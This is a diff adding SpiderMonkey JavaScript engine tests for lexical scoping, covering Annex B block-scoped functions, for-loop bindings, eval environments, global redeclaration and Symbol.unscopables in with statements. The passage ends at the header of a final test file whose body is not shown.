diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-parameter.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-parameter.js
new file mode 100644
index 0000000000..ae7fbe879c
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-parameter.js
@@ -0,0 +1,21 @@
+// Annex B.3.3.1 disallows Annex B lexical function behavior when redeclaring a
+// parameter.
+
+(function(f) {
+ if (true) function f() { }
+ assertEq(f, 123);
+}(123));
+
+(function(f) {
+ { function f() { } }
+ assertEq(f, 123);
+}(123));
+
+(function(f = 123) {
+ assertEq(f, 123);
+ { function f() { } }
+ assertEq(f, 123);
+}());
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-property.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-property.js
new file mode 100644
index 0000000000..a295de5081
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-property.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Define a global getter without a setter.
+Object.defineProperty(this, "x", {
+ get: function () { return "get-x"; },
+ configurable: true
+});
+
+// Simulate loading a 2nd script with evaluate, else we would DEFVAR the x and
+// the above defineProperty would fail in trying to redefine a non-configurable
+// property on the global.
+evaluate(`{
+ function x() { return "fun-x"; }
+}`);
+
+// Annex B is supposed to be like an assignment. Should not blow away the
+// existing setter-less getter.
+reportCompare(x, "get-x");
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-same-name.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-same-name.js
new file mode 100644
index 0000000000..b89f91c59a
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-same-name.js
@@ -0,0 +1,7 @@
+{
+ function f() { return "inner"; }
+}
+
+function f() { return "outer"; }
+
+reportCompare(f(), "inner");
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-with.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-with.js
new file mode 100644
index 0000000000..d9bdd98dc9
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-with.js
@@ -0,0 +1,18 @@
+var o = { f: "string-f" };
+with (o) {
+ var desc = Object.getOwnPropertyDescriptor(this, "f");
+ assertEq(desc.value, undefined);
+ assertEq(desc.writable, true);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.configurable, false);
+ function f() {
+ return "fun-f";
+ }
+}
+
+// Annex B explicitly assigns to the nearest VariableEnvironment, so the
+// with-object "o" should have its property unchanged.
+assertEq(o.f, "string-f");
+assertEq(f(), "fun-f");
+
+reportCompare(true, true)
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b.js
new file mode 100644
index 0000000000..16c40774ca
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b.js
@@ -0,0 +1,31 @@
+var log = "";
+
+log += typeof f;
+
+{
+ log += f();
+
+ function f() {
+ return "f1";
+ }
+}
+
+log += f();
+
+function g() {
+ log += typeof h;
+
+ {
+ log += h();
+
+ function h() {
+ return "h1";
+ }
+ }
+
+ log += h();
+}
+
+g();
+
+reportCompare(log, "undefinedf1f1undefinedh1h1");
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-deprecated-redecl.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-deprecated-redecl.js
new file mode 100644
index 0000000000..af32be5d3d
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-deprecated-redecl.js
@@ -0,0 +1,78 @@
+{
+ assertEq(f(), 4);
+ function f() { return 3; }
+ assertEq(f(), 4);
+ function f() { return 4; }
+ assertEq(f(), 4);
+}
+
+// Annex B still works.
+assertEq(f(), 4);
+
+// The same thing with labels.
+{
+ assertEq(f(), 4);
+ function f() { return 3; }
+ assertEq(f(), 4);
+ l: function f() { return 4; }
+ assertEq(f(), 4);
+}
+
+// Annex B still works.
+assertEq(f(), 4);
+
+function test() {
+ {
+ assertEq(f(), 2);
+ function f() { return 1; }
+ assertEq(f(), 2);
+ function f() { return 2; }
+ assertEq(f(), 2);
+ }
+
+ // Annex B still works.
+ assertEq(f(), 2);
+}
+
+test();
+
+var log = '';
+
+try {
+ // Strict mode still cannot redeclare.
+ eval(`"use strict";
+ {
+ function f() { }
+ function f() { }
+ }`);
+} catch (e) {
+ assertEq(e instanceof SyntaxError, true);
+ log += 'e';
+}
+
+try {
+ // Redeclaring an explicitly 'let'-declared binding doesn't work.
+ eval(`{
+ let x = 42;
+ function x() {}
+ }`);
+} catch (e) {
+ assertEq(e instanceof SyntaxError, true);
+ log += 'e';
+}
+
+try {
+ // Redeclaring an explicitly 'const'-declared binding doesn't work.
+ eval(`{
+ const x = 42;
+ function x() {}
+ }`);
+} catch (e) {
+ assertEq(e instanceof SyntaxError, true);
+ log += 'e';
+}
+
+assertEq(log, 'eee');
+
+if ('reportCompare' in this)
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-hoisted-tdz.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-hoisted-tdz.js
new file mode 100644
index 0000000000..e5f9baf446
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-hoisted-tdz.js
@@ -0,0 +1,30 @@
+var log = "";
+try {
+ (function() {
+ {
+ let y = f();
+ function f() { y; }
+ }
+ })()
+} catch (e) {
+ log += e instanceof ReferenceError;
+}
+
+try {
+ function f() {
+ switch (1) {
+ case 0:
+ let x;
+ case 1:
+ (function() { x; })();
+ }
+ }
+ f();
+} catch (e) {
+ log += e instanceof ReferenceError;
+}
+
+assertEq(log, "truetrue");
+
+if ("reportCompare" in this)
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-strict.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-strict.js
new file mode 100644
index 0000000000..2b780d7dd1
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-strict.js
@@ -0,0 +1,45 @@
+"use strict"
+
+var log = "";
+
+function f() {
+ return "f0";
+}
+
+log += f();
+
+{
+ log += f();
+
+ function f() {
+ return "f1";
+ }
+
+ log += f();
+}
+
+log += f();
+
+function g() {
+ function h() {
+ return "h0";
+ }
+
+ log += h();
+
+ {
+ log += h();
+
+ function h() {
+ return "h1";
+ }
+
+ log += h();
+ }
+
+ log += h();
+}
+
+g();
+
+reportCompare(log, "f0f1f1f0h0h1h1h0");
diff --git a/js/src/tests/non262/lexical-environment/browser.js b/js/src/tests/non262/lexical-environment/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/browser.js
diff --git a/js/src/tests/non262/lexical-environment/bug-1216623.js b/js/src/tests/non262/lexical-environment/bug-1216623.js
new file mode 100644
index 0000000000..cbdbe9722e
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/bug-1216623.js
@@ -0,0 +1,19 @@
+// Scoping in the head of for(let;;) statements.
+
+let x = 0;
+for (let i = 0, a = () => i; i < 4; i++) {
+ assertEq(i, x++);
+ assertEq(a(), 0);
+}
+assertEq(x, 4);
+
+x = 11;
+let q = 0;
+for (let {[++q]: r} = [0, 11, 22], s = () => r; r < 13; r++) {
+ assertEq(r, x++);
+ assertEq(s(), 11);
+}
+assertEq(x, 13);
+assertEq(q, 1);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/catch-body.js b/js/src/tests/non262/lexical-environment/catch-body.js
new file mode 100644
index 0000000000..43b9d2bfe3
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/catch-body.js
@@ -0,0 +1,19 @@
+function f() {
+ var probeParam, probeBlock;
+ let x = 'outside';
+
+ try {
+ throw [];
+ } catch ([_ = probeParam = function() { return x; }]) {
+ probeBlock = function() { return x; };
+ let x = 'inside';
+ }
+
+ assertEq(probeBlock(), 'inside');
+ assertEq(probeParam(), 'outside');
+}
+
+f();
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/const-declaration-in-for-loop.js b/js/src/tests/non262/lexical-environment/const-declaration-in-for-loop.js
new file mode 100644
index 0000000000..4001220ba3
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/const-declaration-in-for-loop.js
@@ -0,0 +1,88 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "const-declaration-in-for-loop.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1146644;
+var summary =
+ "Don't crash compiling a non-body-level for-loop whose loop declaration is " +
+ "a const";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Don't attempt execution as a script if we can't properly emulate it. We
+// could perhaps use eval, but eval, while also doing global execution, is its
+// own can of messiness. Ongoing work on for-loop scoping for lexical
+// declarations will likely make these tests redundant with other tests to be
+// added, anyway, in the very short term.
+var executeGlobalScript = typeof evaluate === "function"
+ ? evaluate
+ : function(s) {};
+
+for (const a1 = 3; false; )
+ continue;
+
+Function(`for (const a2 = 3; false; )
+ continue;
+ `)();
+
+if (true)
+{
+ for (const a3 = 3; false; )
+ continue;
+}
+
+Function(`if (true)
+ {
+ for (const a4 = 3; false; )
+ continue;
+ }`)();
+
+executeGlobalScript(`for (const a5 of [])
+ continue;`);
+
+Function(`for (const a6 of [])
+ continue;`)();
+
+executeGlobalScript(`if (true)
+ {
+ for (const a7 of [])
+ continue;
+ }`);
+
+Function(`if (true)
+ {
+ for (const a8 of [])
+ continue;
+ }`)();
+
+executeGlobalScript(`for (const a9 in {})
+ continue;`);
+
+Function(`for (const a10 in {})
+ continue;`)();
+
+executeGlobalScript(`if (true)
+ {
+ for (const a11 in {})
+ continue;
+ }`);
+
+Function(`if (true)
+ {
+ for (const a12 in {})
+ continue;
+ }`)();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/lexical-environment/eval-has-lexical-environment.js b/js/src/tests/non262/lexical-environment/eval-has-lexical-environment.js
new file mode 100644
index 0000000000..16ffb06d19
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/eval-has-lexical-environment.js
@@ -0,0 +1,45 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "eval-has-lexical-environment.js"
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1193583;
+var summary =
+ "Eval always has a lexical environment";
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+eval(`
+let foo = 42;
+const kay = foo;
+var bar = 84;
+function f() {
+ return foo + kay;
+}
+ `);
+
+(1, eval)(`
+let foo2 = 42;
+const kay2 = foo2;
+`);
+
+// Lexical declarations should not have escaped eval.
+assertEq(typeof foo, "undefined");
+assertEq(typeof kay, "undefined");
+assertEq(typeof foo2, "undefined");
+assertEq(typeof kay2, "undefined");
+
+// Eval'd functions can close over lexical bindings.
+assertEq(f(), 84);
+
+// Var can escape direct eval.
+assertEq(bar, 84);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/lexical-environment/eval-nondefinable-function.js b/js/src/tests/non262/lexical-environment/eval-nondefinable-function.js
new file mode 100644
index 0000000000..bd5dcf7978
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/eval-nondefinable-function.js
@@ -0,0 +1,10 @@
+try {
+ eval("var shouldNotBeDefined1; function NaN(){}; var shouldNotBeDefined2;");
+} catch (e) {
+}
+
+assertEq(Object.getOwnPropertyDescriptor(this, 'shouldNotBeDefined2'), undefined);
+assertEq(Object.getOwnPropertyDescriptor(this, 'shouldNotBeDefined1'), undefined);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/for-loop-with-bindings-added-at-runtime.js b/js/src/tests/non262/lexical-environment/for-loop-with-bindings-added-at-runtime.js
new file mode 100644
index 0000000000..f6abf3d0cd
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/for-loop-with-bindings-added-at-runtime.js
@@ -0,0 +1,125 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-loop-with-bindings-added-at-runtime.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1149797;
+var summary =
+ "Don't assert when freshening the scope chain for a for-loop whose head " +
+ "contains a lexical declaration, where the loop body might add more " +
+ "bindings at runtime";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (let x = 0; x < 9; ++x)
+ eval("var y");
+
+{
+ for (let x = 0; x < 9; ++x)
+ eval("var y");
+}
+
+function f1()
+{
+ for (let x = 0; x < 9; ++x)
+ eval("var y");
+}
+f1();
+
+function f2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ eval("var y");
+ }
+}
+f2();
+
+for (let x = 0; x < 9; ++x)
+{
+ // deliberately inside a block statement
+ eval("var y");
+}
+
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ eval("var y");
+ }
+}
+
+function g1()
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ eval("var y");
+ }
+}
+g1();
+
+function g2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ eval("var y");
+ }
+ }
+}
+g2();
+
+for (let x = 0; x < 9; ++x) {
+ (function() {
+ eval("var y");
+ })();
+}
+
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() {
+ eval("var y");
+ })();
+ }
+}
+
+function h1()
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() {
+ eval("var y");
+ })();
+ }
+}
+h1();
+
+function h2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() { eval("var y"); })();
+ }
+ }
+}
+h2();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/lexical-environment/for-loop.js b/js/src/tests/non262/lexical-environment/for-loop.js
new file mode 100644
index 0000000000..60e3799d62
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/for-loop.js
@@ -0,0 +1,121 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-loop.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 985733;
+var summary =
+ "ES6 for-loop semantics for for(;;) loops whose heads contain lexical "
+ "declarations";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function isError(code, type)
+{
+ try
+ {
+ Function(code);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof type, true,
+ "unexpected error for `" + code + "`: got " + e);
+ }
+}
+
+function isOK(code)
+{
+ Function(code);
+}
+
+isError("for (const x; ; ) ;", SyntaxError);
+isError("for (const x = 5, y; ; ) ;", SyntaxError);
+isError("for (const [z]; ; ) ;", SyntaxError);
+//isError("for (const [z, z]; ; ) ;", SyntaxError);
+//isError("for (const [z, z] = [0, 1]; ; ) ;", SyntaxError);
+
+isOK("for (let x; ; ) ;");
+isOK("for (let x = 5, y; ; ) ;");
+
+// I'm fairly sure this is supposed to work: the negative-lookahead rules in
+// IterationStatement ensure that |for (let| *always* is a loop header starting
+// with a lexical declaration. But I'm not 100% certain, so these tests might
+// need to be fixed when we implement the negative-lookahead restrictions.
+isOK("for (let [z] = [3]; ; ) ;");
+isError("for (let [z, z]; ; ) ;", SyntaxError); // because missing initializer
+
+isError("for (let [z, z] = [0, 1]; ; ) ;", SyntaxError);
+
+// A for-loop with lexical declarations, with a mixture of bindings that are and
+// aren't aliased. (The mixture stress-tests any code that incorrectly assumes
+// all bindings are aliased.)
+var funcs = [];
+for (let [i, j, k] = [0, 1, 2]; i < 10; i++)
+ funcs.push(() => i);
+
+assertEq(funcs[0](), 0);
+assertEq(funcs[1](), 1);
+assertEq(funcs[2](), 2);
+assertEq(funcs[3](), 3);
+assertEq(funcs[4](), 4);
+assertEq(funcs[5](), 5);
+assertEq(funcs[6](), 6);
+assertEq(funcs[7](), 7);
+assertEq(funcs[8](), 8);
+assertEq(funcs[9](), 9);
+
+var outer = "OUTER V IGNORE";
+var save;
+for (let outer = (save = function() { return outer; }); ; )
+ break;
+assertEq(save(), save);
+
+var funcs = [];
+function t(i, name, expect)
+{
+ assertEq(funcs[i].name, name);
+ assertEq(funcs[i](), expect);
+}
+
+if (save() !== "OUTER V IGNORE")
+{
+ var v = "OUTER V IGNORE";
+ var i = 0;
+ for (let v = (funcs.push(function init() { return v; }),
+ 0);
+ v = (funcs.push(function test() { return v; }),
+ v + 1);
+ v = (funcs.push(function incr() { return v; }),
+ v + 1))
+ {
+ v = (funcs.push(function body() { return v; }),
+ v + 1);
+ i++;
+ if (i >= 3)
+ break;
+ }
+ t(0, "init", 0);
+ t(1, "test", 2);
+ t(2, "body", 2);
+ t(3, "incr", 5);
+ t(4, "test", 5);
+ t(5, "body", 5);
+ t(6, "incr", 8);
+ t(7, "test", 8);
+ t(8, "body", 8);
+ assertEq(funcs.length, 9);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/lexical-environment/implicit-this-in-with.js b/js/src/tests/non262/lexical-environment/implicit-this-in-with.js
new file mode 100644
index 0000000000..7c112e2447
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/implicit-this-in-with.js
@@ -0,0 +1,18 @@
+// Test that callees that resolve to bindings on the global object or the
+// global lexical environment get an 'undefined' this inside with scopes.
+
+let g = function () { "use strict"; assertEq(this, undefined); }
+function f() { "use strict"; assertEq(this, undefined); }
+
+with ({}) {
+ // f is resolved on the global object
+ f();
+ // g is resolved on the global lexical environment
+ g();
+}
+
+f();
+g();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/nondefinable-function-same-script.js b/js/src/tests/non262/lexical-environment/nondefinable-function-same-script.js
new file mode 100644
index 0000000000..5d569fe4a0
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/nondefinable-function-same-script.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+function assertEvaluateAndIndirectEvalThrows(str) {
+ assertThrowsInstanceOf(() => evaluate(str), TypeError);
+ assertThrowsInstanceOf(() => (1,eval)(str), TypeError);
+}
+
+// Regular vars
+assertEvaluateAndIndirectEvalThrows(`var NaN; function NaN() {}`);
+
+// for-of vars
+assertEvaluateAndIndirectEvalThrows(`for (var NaN of []); function NaN() {}`);
+
+// Annex B.3.3 synthesized vars
+assertEvaluateAndIndirectEvalThrows(`{ function NaN() {} } function NaN() {}`);
+
+// Non-data properties
+Object.defineProperty(this, 'foo', { set: function() {} });
+assertEvaluateAndIndirectEvalThrows(`var foo; function foo() {}`);
+assertEvaluateAndIndirectEvalThrows(`for (var foo of []); function foo() {}`);
+assertEvaluateAndIndirectEvalThrows(`{ function foo() {} } function foo() {}`);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/redeclaring-global-properties.js b/js/src/tests/non262/lexical-environment/redeclaring-global-properties.js
new file mode 100644
index 0000000000..7fb2f82db1
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/redeclaring-global-properties.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Attempting to lexically redefine a var is a syntax error.
+evaluate("var a;");
+assertThrowsInstanceOf(() => evaluate("let a;"), SyntaxError);
+
+// Attempting to lexically redefine a configurable global property that's not a
+// var is okay.
+this.b = 42;
+assertEq(b, 42);
+evaluate("let b = 17;");
+assertEq(b, 17);
+
+// Attempting to lexically redefine a configurable global property that wasn't
+// a var initially but was later declared as one, isn't okay.
+this.c = 8675309;
+assertEq(c, 8675309);
+evaluate("var c;");
+assertThrowsInstanceOf(() => evaluate("let c;"), SyntaxError);
+
+// Attempting to lexically redefine a var added by eval code isn't okay.
+assertEq(typeof d, "undefined");
+eval("var d = 33;");
+assertEq(d, 33);
+assertThrowsInstanceOf(() => evaluate("let d;"), SyntaxError);
+
+// Attempting to lexically redefine a var added by eval code, then deleted *as a
+// name*, is okay. (The |var| will add the name to the global environment
+// record's [[VarNames]], but deletion will go through the global environment
+// record's DeleteBinding and so will remove it.)
+assertEq(typeof e, "undefined");
+eval("var e = 'ohia';");
+assertEq(e, "ohia");
+delete e;
+assertEq(this.hasOwnProperty("e"), false);
+evaluate("let e = 3.141592654;");
+assertEq(e, 3.141592654);
+
+// Attempting to lexically redefine a var added by eval code, then deleted *as a
+// property*, isn't okay. (Deletion by property doesn't go through the global
+// environment record's DeleteBinding algorithm, and so the name isn't removed
+// from [[VarNames]].) And it remains non-okay even if the var is subsequently
+// deleted as a name, because if the property doesn't exist, it's not removed
+// from [[VarNames]]. But if we add the global property again and then delete
+// by name, it *will* get removed from [[VarNames]].
+assertEq(typeof f, "undefined");
+eval("var f = 8675309;");
+assertEq(f, 8675309);
+delete this.f;
+assertEq(this.hasOwnProperty("f"), false);
+assertThrowsInstanceOf(() => evaluate("let f;"), SyntaxError);
+delete f;
+assertThrowsInstanceOf(() => evaluate("let f;"), SyntaxError);
+this.f = 999;
+assertThrowsInstanceOf(() => evaluate("let f;"), SyntaxError);
+delete f;
+evaluate("let f;");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/lexical-environment/shell.js b/js/src/tests/non262/lexical-environment/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/shell.js
diff --git a/js/src/tests/non262/lexical-environment/unscopables-basics.js b/js/src/tests/non262/lexical-environment/unscopables-basics.js
new file mode 100644
index 0000000000..4032b27746
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-basics.js
@@ -0,0 +1,22 @@
+// Basics of @@unscopables support.
+
+// In with(obj), if obj[@@unscopables][id] is truthy, then the identifier id
+// is not present as a binding in the with-block's scope.
+var x = "global";
+with ({x: "with", [Symbol.unscopables]: {x: true}})
+ assertEq(x, "global");
+
+// But if obj[@@unscopables][id] is false or not present, there is a binding.
+with ({y: "with", z: "with", [Symbol.unscopables]: {y: false}}) {
+ assertEq(y, "with");
+ assertEq(z, "with");
+}
+
+// ToBoolean(obj[@@unscopables][id]) determines whether there's a binding.
+let someValues = [0, -0, NaN, "", undefined, null, "x", {}, []];
+for (let v of someValues) {
+ with ({x: "with", [Symbol.unscopables]: {x: v}})
+ assertEq(x, v ? "global" : "with");
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-closures.js b/js/src/tests/non262/lexical-environment/unscopables-closures.js
new file mode 100644
index 0000000000..bdade1f113
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-closures.js
@@ -0,0 +1,23 @@
+// @@unscopables continues to work after exiting the relevant `with` block,
+// if the environment is captured by a closure.
+
+let env = {
+ x: 9000,
+ [Symbol.unscopables]: {x: true}
+};
+
+function make_adder(x) {
+ with (env)
+ return function (y) { return x + y; };
+}
+assertEq(make_adder(3)(10), 13);
+
+// Same test, but with a bunch of different parts for bad luck
+let x = 500;
+function make_adder_with_eval() {
+ with (env)
+ return eval('y => eval("x + y")');
+}
+assertEq(make_adder_with_eval()(10), 510);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-const.js b/js/src/tests/non262/lexical-environment/unscopables-const.js
new file mode 100644
index 0000000000..7e1d0e07c6
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-const.js
@@ -0,0 +1,8 @@
+// @@unscopables prevents a property from having any effect on assigning to a
+// const binding (which is an error).
+
+const x = 1;
+with ({x: 1, [Symbol.unscopables]: {x: true}})
+ assertThrowsInstanceOf(() => {x = 2;}, TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-delete.js b/js/src/tests/non262/lexical-environment/unscopables-delete.js
new file mode 100644
index 0000000000..3cd296f4b9
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-delete.js
@@ -0,0 +1,27 @@
+// If obj[@@unscopables][id], then `delete id` works across `with (obj)` scope.
+
+this.niche = 7;
+let obj = { niche: 8, [Symbol.unscopables]: { niche: true } };
+with (obj) {
+ delete niche;
+}
+
+assertEq(obj.niche, 8);
+assertEq("niche" in this, false);
+
+// Same thing, but delete a variable introduced by sloppy direct eval.
+this.niche = 9;
+function f() {
+ eval("var niche = 10;");
+ with (obj) {
+ assertEq(niche, 10);
+ delete niche;
+ }
+ assertEq(niche, 9);
+}
+
+// Of course none of this affects a qualified delete.
+assertEq(delete this.niche, true);
+assertEq("niche" in this, false);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-getters.js b/js/src/tests/non262/lexical-environment/unscopables-getters.js
new file mode 100644
index 0000000000..1360787983
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-getters.js
@@ -0,0 +1,41 @@
+// @@unscopables checks can call getters.
+
+// The @@unscopables property itself can be a getter.
+let hit1 = 0;
+let x = "global x";
+let env1 = {
+ x: "env1.x",
+ get [Symbol.unscopables]() {
+ hit1++;
+ return {x: true};
+ }
+};
+with (env1)
+ assertEq(x, "global x");
+assertEq(hit1, 1);
+
+// It can throw; the exception is propagated out.
+function Fit() {}
+with ({x: 0, get [Symbol.unscopables]() { throw new Fit; }})
+ assertThrowsInstanceOf(() => x, Fit);
+
+// Individual properties on the @@unscopables object can have getters.
+let hit2 = 0;
+let env2 = {
+ x: "env2.x",
+ [Symbol.unscopables]: {
+ get x() {
+ hit2++;
+ return true;
+ }
+ }
+};
+with (env2)
+ assertEq(x, "global x");
+assertEq(hit2, 1);
+
+// And they can throw.
+with ({x: 0, [Symbol.unscopables]: {get x() { throw new Fit; }}})
+ assertThrowsInstanceOf(() => x, Fit);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-global.js b/js/src/tests/non262/lexical-environment/unscopables-global.js
new file mode 100644
index 0000000000..1aa4a52bda
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-global.js
@@ -0,0 +1,18 @@
+// @@unscopables does not affect the global environment.
+
+this.x = "global property x";
+let y = "global lexical y";
+this[Symbol.unscopables] = {x: true, y: true};
+assertEq(x, "global property x");
+assertEq(y, "global lexical y");
+assertEq(eval("x"), "global property x");
+assertEq(eval("y"), "global lexical y");
+
+// But it does affect `with` statements targeting the global object.
+{
+ let x = "local x";
+ with (this)
+ assertEq(x, "local x");
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-ignored.js b/js/src/tests/non262/lexical-environment/unscopables-ignored.js
new file mode 100644
index 0000000000..08b042a3b5
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-ignored.js
@@ -0,0 +1,22 @@
+// In these cases, @@unscopables should not be consulted.
+
+// Because obj has no properties `assertEq` or `x`,
+// obj[@@unscopables] is not checked here:
+var obj = {
+ get [Symbol.unscopables]() {
+ throw "tried to read @@unscopables";
+ }
+};
+var x = 3;
+with (obj)
+ assertEq(x, 3);
+
+// If @@unscopables is present but not an object, it is ignored:
+for (let nonObject of [undefined, null, "nothing", Symbol.for("moon")]) {
+ let y = 4;
+ let obj2 = {[Symbol.unscopables]: nonObject, y: 5};
+ with (obj2)
+ assertEq(y, 5);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-miss.js b/js/src/tests/non262/lexical-environment/unscopables-miss.js
new file mode 100644
index 0000000000..b86d510787
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-miss.js
@@ -0,0 +1,7 @@
+// Trying to access a binding that doesn't exist due to @@unscopables
+// is a ReferenceError.
+
+with ({x: 1, [Symbol.unscopables]: {x: true}})
+ assertThrowsInstanceOf(() => x, ReferenceError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-mutation-frozen.js b/js/src/tests/non262/lexical-environment/unscopables-mutation-frozen.js
new file mode 100644
index 0000000000..632785c05a
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-mutation-frozen.js
@@ -0,0 +1,18 @@
+// When env[@@unscopables].x changes, bindings can appear even if env is inextensible.
+
+let x = "global";
+let unscopables = {x: true};
+let env = Object.create(null);
+env[Symbol.unscopables] = unscopables;
+env.x = "object";
+Object.freeze(env);
+
+for (let i = 0; i < 1004; i++) {
+ if (i === 1000)
+ unscopables.x = false;
+ with (env) {
+ assertEq(x, i < 1000 ? "global" : "object");
+ }
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-mutation.js b/js/src/tests/non262/lexical-environment/unscopables-mutation.js
new file mode 100644
index 0000000000..2f35e1dd3c
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-mutation.js
@@ -0,0 +1,44 @@
